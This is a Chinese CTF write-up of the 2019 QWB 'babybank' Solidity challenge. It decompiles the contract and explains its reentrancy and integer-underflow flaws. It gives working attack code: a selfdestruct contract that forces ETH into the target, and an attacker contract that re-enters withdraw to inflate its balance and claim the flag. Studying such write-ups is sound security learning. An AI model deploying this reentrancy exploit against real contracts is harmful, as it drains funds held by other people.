1. 程式人生 > >2019強網杯babybank wp及淺析

2019強網杯babybank wp及淺析

前言

2019強網杯CTF智慧合約題目--babybank wp及淺析

 

ps:本文最先寫在我的新部落格上,後面會以新部落格為主,看心情會把文章同步過來

分析

反編譯

使用OnlineSolidityDecompiler對合約進行逆向,獲取合約原始碼虛擬碼

 

 

 

參考其他師傅的分析,貼出美化之後的合約原始碼

pragma solidity ^0.4.23;
​
contract babybank {
    // 0xe3d670d7 0
    mapping(address => uint) public balance;
    // 0xd41b6db6 1
    mapping(address => uint) public level;
    // 2
    address owner;
    // 3
    uint secret;
​
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
​
    constructor()public{
        owner = msg.sender;
    }
​
    //0x8c0320de
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
​
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
​
    //0x2e1a7d4d
    function withdraw(uint256 amount) public {
        require(amount == 2);
        require(amount <= balance[msg.sender]);
        // 重入漏洞
        address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
        // 整形下溢位
        balance[msg.sender] -= amount;
    }
​
    //0x66d16cc3
    function profit() public {
        require(level[msg.sender] == 0);
        require(msg.sender & 0xffff == 0xb1b1);
​
        balance[msg.sender] += 1;
        level[msg.sender] += 1;
    }
​
    // 0xa5e9585f
    function xxx(uint256 number) public onlyOwner {
        secret = number;
    }
​
    // 0x9189fec1
    function guess(uint256 number) public {
        require(number == secret);
        require(level[msg.sender] == 1);
​
        balance[msg.sender] += 1;
        level[msg.sender] += 1;
    }
​
    // 0xa9059cbb
    function transfer(address to, uint256 amount) public {
        require(balance[msg.sender] >= amount);
        require(amount == 2);
        require(level[msg.sender] == 2);
​
        balance[msg.sender] = 0;
        balance[to] = amount;
    }
}

 

賦予合約ETH

合約初始狀態無ETH,無法執行操作,故需讓合約地址擁有一定量的ETH

而合約程式碼中並沒有相關可以轉入ETH的操作,因此只能通過帶入ETH執行自毀讓ETH強行轉入合約地址中

 

構造自毀函式kill

function kill() public payable {
    selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
}

帶入0.2ETH利用kill函式自銷燬,強行向合約轉入0.2ETH

 

繞過利用分析

合約發起sendflag需要超過10000000000的token

withdraw

函式存在重入漏洞以及整型下溢位

 

但限制了一次只能取款2token以及取款者賬戶token需要大於等於2

再來看如何增加token

 

增加token的函式只有profitguess兩個函式

profit函式驗證地址低4位為0xb1b1;且只能在初始狀態即level=0的時候呼叫一次,呼叫一次之後level提升為1,balance+1

guess函式會驗證secret值,而secret值由只能合約所有者呼叫的xxx函式賦予;且需要level=1,呼叫一次之後level提升為2,balance+1

 

那麼函式呼叫流程就出來了,先profit()guess()

profit函式的繞過,可通過vanity eth獲取一個符合條件的地址

guess函式的繞過,secret值在合約交易資訊中可找到

 

合約部署者的最後一次交易事件中,InputData函式選擇器中,前4個位元組0xa5e9585fxxx函式的函式簽名,其引數就是部署者呼叫xxx函式所傳入的引數,即為secret

 

 

 

至此,通過了profitguess,滿足withdraw的取款條件

由於withdraw函式存在重入漏洞以及溢位

構造攻擊合約,利用重入漏洞以及溢位可獲取鉅額代幣,併發起payforflag操作

pragma solidity ^0.4.24;
​
interface BabybankInterface {
    function withdraw(uint256 amount) external;
    function profit() external;
    function guess(uint256 number) external;
    function transfer(address to, uint256 amount) external;
    function payforflag(string md5ofteamtoken, string b64email) external;
}
​
contract attacker {
​
    BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
​
    uint private flag = 0;
​
    function exploit() public payable {
        target.profit();
        target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
        target.withdraw(2);
        target.payforflag("hunya", "hunya");
    }
​
    function() external payable {
        require (flag == 0);
        flag = 1;
        target.withdraw(2);
    }
}

 

 

合約交易記錄中可看到一系列操作,最後的一個交易是將合約中的ETH全部提現到合約所有者地址中,應該是清空ETH為了讓下一個做題者又從合約0ETH狀態開始做

 

檢視事件記錄,已有sendflag事件

 

 

 

參考

https://zhuanlan.zhihu.com/p/67205187

https://xz.aliyun.com/t/5281

&n